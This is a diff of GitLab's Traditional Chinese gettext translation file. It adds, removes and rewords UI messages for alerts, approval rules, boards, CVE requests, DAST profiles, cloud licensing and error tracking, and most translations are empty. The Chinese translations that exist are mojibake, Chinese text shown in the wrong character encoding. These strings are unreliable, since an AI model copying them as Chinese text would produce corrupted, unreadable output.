+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr "å…è¨±ç¾¤çµ„æ‰€æœ‰è€…ç®¡ç† LDAP 相關的設定"
msgid "Allow only the selected protocols to be used for Git access."
msgstr "僅å…許é¸å–之用於 Git å­˜å–的通訊å”定。"
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "åªå…許頂層群組使用電å­éƒµä»¶ç¶²åŸŸé™åˆ¶"
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr "也稱為「簽發者ã€æˆ–「信任憑證者信任識別碼ã€"
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "也稱為「信任憑證者æœå‹™ç¶²å€ã€æˆ–「回覆網å€ã€"
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "發生錯誤"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "å‘話題加入è‰ç¨¿æ™‚發生錯誤。"
@@ -3240,6 +3336,9 @@ msgstr "抓å–待處ç†ç•™è¨€æ™‚發生錯誤"
msgid "An error occurred while fetching projects autocomplete."
msgstr "抓å–專案自動完æˆæ™‚發生錯誤。"
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "抓å–å´é‚Šæ¬„資料時發生錯誤"
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "抓å–看æ¿åˆ—表時發生錯誤。請å†è©¦ä¸€æ¬¡ã€‚"
-msgid "An error occurred while fetching the builds."
-msgstr "抓å–組建時發生錯誤。"
-
msgid "An error occurred while fetching the job log."
msgstr "抓å–作業日誌時發生錯誤。"
@@ -3345,7 +3441,7 @@ msgstr "載入檔案時發生錯誤。"
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "è­°é¡Œå¯ä»¥æ˜¯éœ€è¦åœ¨å°ˆæ¡ˆä¸­è¨Žè«–的缺陷ã€å¾…辦事項或功能請求。此外,議題是å¯æœå°‹å’ŒéŽæ¿¾çš„。"
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3724,9 +3826,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "確定è¦æ”¾æ£„未儲存的變更嗎?"
@@ -3923,6 +4028,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -3965,13 +4076,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4396,6 +4507,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4498,6 +4612,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4516,6 +4633,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4540,7 +4660,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr "作者:"
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5117,6 +5251,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5205,6 +5345,27 @@ msgstr ""
msgid "CPU"
msgstr "CPU"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5421,6 +5585,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5448,6 +5615,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8263,9 +8511,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8323,9 +8568,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8428,16 +8694,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8606,6 +8868,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9123,8 +9394,9 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10358,13 +10660,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -10887,6 +11195,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11154,6 +11474,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11265,6 +11588,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11334,9 +11660,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11964,19 +12287,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -11985,7 +12308,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12234,6 +12557,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12279,9 +12599,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12303,13 +12620,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12408,6 +12728,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12486,9 +12815,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13156,6 +13482,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
